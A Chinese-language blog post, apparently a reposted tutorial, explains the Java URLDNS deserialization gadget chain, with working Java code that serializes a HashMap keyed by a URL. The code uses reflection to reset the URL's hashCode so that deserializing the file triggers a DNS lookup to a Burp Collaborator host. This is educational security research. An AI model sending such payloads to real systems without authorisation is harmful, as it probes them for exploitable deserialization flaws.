草庐IT

URLDNS利用链

顾北清 2023-03-28 原文

原理

Java URLDNS链是通过readObject反序列化+DNS查询来确认反序列化利用点的存在。该利用链具有如下特点:

  • [1] 只能发起 DNS 请求,不能进行其它利用。
  • [2] 不限制 jdk 版本,使用 Java 内置类,对第三方依赖没有要求。
  • [3] 目标无回显,可以通过 DNS 请求来验证是否存在反序列化漏洞。

过程分析

需要发起Http请求,Java中URL类与Http请求相关并且URL类实现了Serializable接口,URL类中是通过调用openConnection方法实现。

跟进返回中的openConnection可以看到返回的是URLConnection对象。

继续跟进URLConnection,发现是一个抽象类,接着查看实现这个抽象类的类,发现是不可序列化的,那么这条链不可用。
但是发现URL这个类中存在hashCode()函数可以利用。

跟进handler.hashCode函数,发现这个函数中使用了getHostAddress()函数,而getHostAddress()函数可以根据域名获得主机IP地址。

至此,我们可以通过调用hashCode()函数中的getHostAddress()来实现反序列化。

HashMap类中重写了readObject方法,其中调用了hash()函数,hash()函数中也调用了hashCode()函数。

如此一来,当我们构造出一个HashMap对象,并向这个对象的键中传入URL,那么在反序列化时,这个URL会被读为key接着传入hash()函数中,在hash()函数中调用hashCode(),这样就调用了一个URL对象的hashCode()函数。

接下来构造利用代码:

package org.example;

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.net.URL;
import java.util.HashMap;

public class SerializationTest {
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static void main(String[] args) throws Exception{
        HashMap<URL, Integer> hashMap = new HashMap<URL, Integer>();
        hashMap.put(new URL("http://v95hskl5p6aksnq95w4sydb2vt1jp8.burpcollaborator.net"),1);
        serialize(hashMap);
    }
}

其中,URL链接使用burpsuite生成:


构造完代码之后,运行序列化代码。

此时发现,在我们还没有反序列化时就已经收到了DNS请求,这是因为在使用put()函数的时候,在put()函数中已经调用了hash()函数,进而调用了hashCode()函数。

想到之前我们在URLhashCode()函数中看到当hashCode != -1时就不会调用hashCode()函数,而在我们进行完put操作之后hashCode != -1,所以在反序列化时就不会再执行hashCode()函数了。

想要在反序列化时调用hashCode()就需要在put操作之前使得hashCode不等于-1,put操作之后将hashCode再改回-1。要改变一个已经生成对象中的值就需要使用Java的反射技术。

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class SerializationTest {
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static void main(String[] args) throws Exception{
        HashMap<URL, Integer> hashMap = new HashMap<URL, Integer>();
        URL url = new URL("http://rzu085lu0ds2w583u7jglucds4yumj.burpcollaborator.net");
        Class c = url.getClass();
        Field hashcodeField = c.getDeclaredField("hashCode");
        hashcodeField.setAccessible(true);
        hashcodeField.set(url, 1);
        hashMap.put(url, 1);
        hashcodeField.set(url, -1);

        serialize(hashMap);
    }
}

这样再进行序列化的时候就收不到DNS请求了,然后进行反序列化,可以看到在反序列化时收到了请求。
反序列化操作:

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class UnserializeTest {
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void main(String[] args) throws Exception {
        unserialize("ser.bin");
    }
}

有关URLDNS利用链的更多相关文章

  1. iOS快捷指令:执行Python脚本(利用iSH Shell) - 2

    文章目录前言核心逻辑配置iSH安装Python创建Python脚本配置启动文件测试效果快捷指令前言iOS快捷指令所能做的操作极为有限。假如快捷指令能运行Python程序,那么可操作空间就瞬间变大了。iSH是一款免费的iOS软件,它模拟了一个类似Linux的命令行解释器。我们将在iSH中运行Python程序,然后在快捷指令中获取Python程序的输出。核心逻辑我们用一个“获取当前日期”的Python程序作为演示(其实快捷指令中本身存在“获取当前日期”的操作,因而此需求可以不用Python,这里仅仅为了演示方便),核心代码如下。>>>importtime>>>time.strftime('%Y-%

  2. ruby - Sidekiq 可以利用多个 CPU 内核吗? - 2

    我是Sidekiq的新手,将它与AmazonEC2实例上的Ruby结合使用,以使用ImageMagick处理图像来完成一些工作。在运行它时,我意识到每个工作人员都在同一个核心上运行。我使用EC2c3.2xlarge机器,它们有8个内核。它显示CPU使用率为15%,但一个内核使用了100%,而其他内核使用了0%。Sidekiq可以为不同的worker使用不同的CPU内核吗?如果可以,这种低效率是由ImageMagic造成的吗?我怎样才能让它使用其他内核? 最佳答案 如果您想使用MRI使用多个内核,则需要启动多个Sidekiq进程;为您

  3. PLUS模型和InVEST模型生态系统服务多情景模拟预测、ArcGIS空间数据处理、空间分析与制图、土地利用时空变化 - 2

    查看原文>>>基于”PLUS模型+“生态系统服务多情景模拟预测实践技术应用目录第一章、理论基础与软件讲解第二章、数据获取与制备第三章、土地利用格局模拟第四章、生态系统服务评估第五章、时空变化及驱动机制分析第六章、论文撰写技巧及案例分析基于ArcGISPro、Python、USLE、INVEST模型等多技术融合的生态系统服务构建生态安全格局基于生态系统服务(InVEST模型)的人类活动、重大工程生态成效评估、论文写作等具体应用基于ArcGISPro、R、INVEST等多技术融合下生态系统服务权衡与协同动态分析实践应用    本文从数据、方法、实践三方面对生态系统服务多情景预测进行讲解。内容涵盖多

  4. 【python学习】python实现利用pygame绘画基本图形、显示图片,实现图形图片随机效果。python绘制行列图片 - 2

    python实现利用pygame绘画基本图形、显示图片,实现图形图片随机效果。前言一、pygame是什么?二、使用步骤1.引入库2.实现绘制代码3.结果截图总结前言今天刚接触python,简单上手了一下第三方库pygame的相关函数使用。首先python是一门弱类型的编程语言,变量可以不指定具体类型直接使用。但是它对语法的缩进有严格的要求。一、pygame是什么?Pygame是一款专门为开发和设计2D电子游戏而生的软件包,它支Windows、Linux、MacOS等操作系统,具有良好的跨平台性。Pygame由PeteShinners于2000年开发而成,是一款免费、开源的的软件包。Pygame

  5. javascript - 利用源映射的堆栈跟踪 - 2

    概述:浏览器控制台中的堆栈跟踪输出与调用Error.stack时返回的跟踪不同。控制台堆栈跟踪似乎考虑了源映射,而Error.stack堆栈跟踪则没有。控制台输出这是输出到控制台的默认堆栈跟踪。UncaughtTypeError:Cannotsetproperty'y'ofundefinedsource.js:4(anonymousfunction)source.js:4(anonymousfunction)source.js:4(anonymousfunction)(index):17Error.stack输出这是来自Error.stack的堆栈跟踪:TypeError:Cannot

  6. javascript - 使用文本区域利用 jQuery HTML 解码 - 2

    跟进mylastquestion...如果攻击者可以访问encodedText,则可以利用此代码:return$('').html(encodedText).text();例如$("").html('').text()显示警报。Thisanswer建议使用textarea而是为了避免XSS漏洞:return$('').html(encodedText).text();这能够安全地处理之前的漏洞。然而,thisanswer表示使用textarea时仍然存在XSS漏洞:Isuggestusingasafer,moreoptimizedfunctiondon'tusejQuery.html(

  7. 企业软件怎样利用ChatGPT? - 2

    文/明道云创始人任向晖作为商业和科技话题的博主,不评论一下ChatGPT似乎是不应该的。毫无疑问,ChatGPT的出现已经远远超过了科技商业要闻的标准,它的革命性已经被飙速增长的用户所直接证明,以至于留给我们的问题只有两个:什么时候用?和怎么用?本文只聚焦在我所熟悉的企业软件行业,探讨这个领域如何利用ChatGPT来加强现有的商业和捕捉新的机遇。然而,即使是企业软件领域,也有很多的门类和分支。所以,我只能从抽象的角度,讲几个思考层次,再举一些可能的例子,希望对业内同仁有所启发。和过去的写作相比,这篇文章动笔之前,我甚至有一些小小的不安。因为本文的标题也可以直接去问ChatGPT,它也会给出一段

  8. 利用腾讯云函数实现和鲸社区每日自动登录 - 2

    和鲸社区算是国内比较不错的机器学习算力平台,可以通过每日登录积累成长值,每月还会给鲸币奖励,有一段时间每天都会登登陆一次,但是有时候还是会忘记。最近根据腾讯云Serverless部署云函数实现自动登录,解放双手。首先每次登陆后将进行微信推送,我采用的是pushplus平台,获取token即可。微信推送#从pushplus平台获取tokentoken='xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'defsendToWechat(title,content):url='http://www.pushplus.plus/send'headers={'Content-Type

  9. RCE(远程代码执行漏洞)原理及漏洞利用 - 2

    作用RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。原理一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口。比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上。一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器。现在很多的企业都开始实施自动化运维,大量的系统操作会通过"自动化运维平台"

  10. QT上位机控制stm32,并利用PID控制编码电机旋转 - 2

    QT上位机控制stm32,并利用PID控制编码电机旋转          由于最近在学习电机控制算法之类的东西,看到论文大多使用PID、或以PID衍生的ADRC作为电机的主流控制,于是自己也写了一个stm32控制L298N以驱动直流电机的程序,并用QT做了一个上位机实现了用软件改变PID的参数、电机转速、转向等功能。一、硬件原理图   实验所用到的硬件有:带霍尔编码器的直流减速电机;    霍尔编码器具体型号为JGB37-520,12V供电,一分钟旋转110转(这里指的时全速运转下的转速),两端红白两线为电机的电源(0、12V),棕蓝两线为霍尔编码器的电源(0、3.3V),中间黄绿两线为霍尔编

随机推荐